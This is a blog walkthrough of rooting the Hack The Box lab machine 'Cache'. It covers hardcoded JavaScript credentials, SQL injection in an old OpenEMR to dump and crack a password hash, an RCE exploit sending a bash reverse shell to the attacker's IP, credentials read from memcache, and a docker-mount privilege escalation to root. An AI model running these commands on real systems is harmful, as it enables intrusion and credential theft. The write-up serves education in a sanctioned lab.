Since completing OSCP in November 2019, I have been refining my penetration testing skills on Hack The Box, a Penetration Testing lab. Every target is usually a rollercoaster of both frustration and excitement, definitely pushing the Try harder philosophy. Here is a step-by-step guide to root one of the recently retired machines: Cache.

Disclaimer

Hack The Box is an isolated Penetration Test lab, used for educational purposes in Cyber Security. The techniques used on these simulated targets should only be applied to applications and systems for which you have been given explicit permission and scope to test.

Read more in Hack The Box Acceptable Use Policy

Cache

Reconnaissance

In addition to only the IP address, Hack The Box machines sometimes have hostname specific functionality, meaning that something might not immediately be obvious if only using the IP address. As a result, a good first step to avoid wasting time is to add an entry in the /etc/hosts file to have this hostname setup from your attacking machine:

10.10.10.188 cache.htb

A quick scan with nmap indicates the machine is running Ubuntu, can be accessed to SSH and is running an Apache webserver.

# nmap -sS -sV -T4 cache.htb      
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-05 09:58 EDT
Nmap scan report for cache.htb (10.10.10.188)
Host is up (0.053s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

A further scan of the full range of TCP ports doesn’t indicate anything else running, so our main chance of gaining entry is likely via whatever is running on the web server.

Navigating to http://cache.htb/ displays a (delightfully designed) website, teaching us about the basic definitions of hacking and cybercrime. A few other interesting things besides the main content of the website:

  • Information about the author (Ash), a security researcher, also author of another project called HMS.
  • A login form

Foothold

What’s in this login form

The source of the login form page is loading a custom Javascript file http://cache.htb/jquery/functionality.js. Inspecting this file gives away the username (ash) and password (H@v3_fun) to login:

[...]
    function checkCorrectPassword(){
        var Password = $("#password").val();
        if(Password != 'H@v3_fun'){
            alert("Password didn't Match");
            error_correctPassword = true;
        }
    }
    function checkCorrectUsername(){
        var Username = $("#username").val();
        if(Username != "ash"){
            alert("Username didn't Match");
            error_username = true;
        }
    }
 [...]

Login in with these credentials doesn’t give us much however, as the page behind it is under construction. Let’s keep these credentials handy, they might be useful later.

The HMS Project

The author’s page mentions a similar project as Cache, called HMS. If this project is running on the same machine, it might be possible to access it via a different hostname.

Let’s add another entry in /etc/hosts:

10.10.10.188 hms.htb

Navigating to http://hms.htb works, and we’re greeted with the login form for OpenEMR, an open-source medical management application. The copyright indicates that this is running a relatively old version, from 2018.

Searching for vulnerabilities of OpenEMR from 2018 yields a number of results, the most interesting being SQL Injection vulnerabilities like CVE-2018-17179. The following YouTube video from Cody Zacharias, OpenEMR Simulated Attack demonstrates how to exploit this vulnerability using sqlmap, ultimately allowing us to dump the users from the OpenEMR database:

Table: users_secure
[1 entry]
+----+--------------------------------+--------------------------------------------------------------+---------------+---------------------+---------------+---------------+-------------------+-------------------+
| id | salt                           | password                                                     | username      | last_update         | salt_history1 | salt_history2 | password_history1 | password_history2 |
+----+--------------------------------+--------------------------------------------------------------+---------------+---------------------+---------------+---------------+-------------------+-------------------+
| 1  | $2a$05$l2sTLIG6GTBeyBf7TAKL6A$ | $2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B. | openemr_admin | 2019-11-21 06:38:40 | NULL          | NULL          | NULL              | NULL              |
+----+--------------------------------+---------

Note: As OpenEMR is open source, it’s worth check out the patch for this SQL Injection vulnerability - showing that the patient_id parameter was not properly escaped when building SQL queries.

This password is hashed, but let’s see if we can crack it with JohnTheRipper:

# john emr_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 32 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
xxxxxx           (?)
1g 0:00:00:00 DONE (2020-10-05 10:46) 6.250g/s 5400p/s 5400c/s 5400C/s tristan..felipe
Use the "--show" option to display all of the cracked passwords reliably
Session completed

The password for the user openemr_admin appears to be xxxxxx.

Once authenticated in OpenEMR, we can leverage another vulnerability, this time to get Remote Code Execution (RCE).

The exploit in the above link can be used to send a reverse shell to a previous open netcat listener on the attacking machine (here 10.10.14.115):

# python emr-rce.py http://hms.htb -u openemr_admin -p xxxxxx -c 'bash -i >& /dev/tcp/10.10.14.115/4444 0>&1'
 .---.  ,---.  ,---.  .-. .-.,---.          ,---.    
/ .-. ) | .-.\ | .-'  |  \| || .-'  |\    /|| .-.\   
| | |(_)| |-' )| `-.  |   | || `-.  |(\  / || `-'/   
| | | | | |--' | .-'  | |\  || .-'  (_)\/  ||   (    
\ `-' / | |    |  `--.| | |)||  `--.| \  / || |\ \   
 )---'  /(     /( __.'/(  (_)/( __.'| |\/| ||_| \)\  
(_)    (__)   (__)   (__)   (__)    '-'  '-'    (__) 
                                                       
   ={   P R O J E C T    I N S E C U R I T Y   }=    
                                                       
         Twitter : @Insecurity                       
         Site    : insecurity.sh                     

[$] Authenticating with openemr_admin:xxxxxx
[$] Injecting payload

The previous open netcat listener receives the shell straight away:

# nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.115] from (UNKNOWN) [10.10.10.188] 48004
bash: cannot set terminal process group (1683): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cache:/var/www/hms.htb/public_html/interface/main$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

We now have a foothold in the machine, as the low-privilege user www-data.

Privilege escalation to User 1

Before any thorough enumeration of the machine, let’s check the users that might be of interest to escalate privileges to.

www-data@cache:/var/www/hms.htb/public_html/interface/main$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
ash:x:1000:1000:ash:/home/ash:/bin/bash
luffy:x:1001:1001:,,,:/home/luffy:/bin/bash
memcache:x:111:114:Memcached,,,:/nonexistent:/bin/false
mysql:x:112:115:MySQL Server,,,:/nonexistent:/bin/false

This tells us a few things:

  • There are 2 real users, ash and luffy
  • The machine is running memcache, which isn’t something typically installed by default.

As ash was the user of the initial webapp, let’s try these credentials we got earlier. First we must switch to an interactive shell (using python pty.spawn) and then switch to the user:

/var/www/hms.htb/public_html/interface/main$ python3 -c 'import pty; pty.spawn("/bin/bash");'
python3 -c 'import pty; pty.spawn("/bin/bash");'        
www-data@cache:/var/www/hms.htb/public_html/interface/main$ su ash
su ash
Password: H@v3_fun
ash@cache:/var/www/hms.htb/public_html/interface/main$ id
id
uid=1000(ash) gid=1000(ash) groups=1000(ash)

And we can find the user flag is available under /home/ash/user.txt:

ash@cache:~$ ls -l
ls -l
total 24
drwxrwxr-x 2 root root 4096 May  5 11:17 Desktop
drwxrwxr-x 2 root root 4096 Oct  9  2019 Documents
drwxrwxr-x 2 root root 4096 Sep 18  2019 Downloads
drwxrwxr-x 2 root root 4096 Sep 18  2019 Pictures
drwxrwxr-x 2 root root 4096 Oct  9  2019 Public
-r-x------ 1 ash  ash    33 Oct  5 09:13 user.txt

Valuable lesson here… do not reuse passwords!

Privilege escalation to User 2

The other unusual thing we noticed earlier was that memcache is running on this machine. We didn’t see any other ports than 22 or 80 open earlier, so it’s likely only accessible from inside the machine. Memcache runs on port 11211 by default, by we can check the open ports to be safe:

$ netstat -tulpn | grep LISTEN
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:11211         0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      - 

Confirming that memcache is running on port 11211 locally, we can connect to it with netcat to read the content of the cache. Luckily for us, this contains a username and password:

$ nc -nv 127.0.0.1 11211
</public_html/interface/main$ nc -nv 127.0.0.1 11211        
Connection to 127.0.0.1 11211 port [tcp/*] succeeded!
stats cachedump 1 0
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]
END
get user
VALUE user 0 5
luffy
END
get password
END
get passwd
VALUE passwd 0 9
0n3_p1ec3
END

These credentials (luffy // 0n3_p1ec3) can be used to SSH directly to the box:

sh luffy@cache.htb
luffy@cache.htb's password: 
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-109-generic x86_64)
[...]
luffy@cache:~$ id
uid=1001(luffy) gid=1001(luffy) groups=1001(luffy),999(docker)

Another valuable lesson: do not store credentials in clear in databases or caches.

Privilege escalation to Root

The luffy user appears to be a group of the docker group, meaning it is allowed to start docker containers. If docker is running as root, it can be an easy way to escalate privileges… and looks like we’re in luck:

luffy@cache:~$ ps aux | grep docker
root       897  0.1  1.7 938520 70776 ?        Ssl  09:13   0:29 /usr/bin/dockerd -H fd://
root      1240  0.1  1.0 885192 42304 ?        Ssl  09:13   0:43 containerd --config /var/run/docker/containerd/containerd.toml --log-level info
luffy    25533  0.0  0.0  13136  1004 pts/1    S+   15:25   0:00 grep --color=auto docker

Final step now is to run a Docker container, mount / inside it and use chroot to change the root directory to it:

docker run -v /:/data -ti --entrypoint="/bin/sh" ubuntu
# chroot /data
# id
uid=0(root) gid=0(root) groups=0(root)
ls -l /root
total 4
-rw------- 1 root root 33 Oct  5 09:13 root.txt

Conclusion

Cache was a pretty fun box, combining a few different techniques at every step of the way. A few of these vulnerabilities are unfortunately very typical of real-life systems: outdated software missing security patches, reused passwords, weak passwords (hashed, but easily crackable), passwords stored in clear text… As you can see, this all makes things easy for an attacker to gain access and escalate privileges, so remember to keep these in mind when you are building systems and applications!


Looking for a Penetration Test?

I am certified as an Offensive Security Certified Professional (OSCP). Don’t hesitate to get in touch (speaking@pvincent.io) for more info and availability on performing a vulnerability assessment or deep-dive penetration test.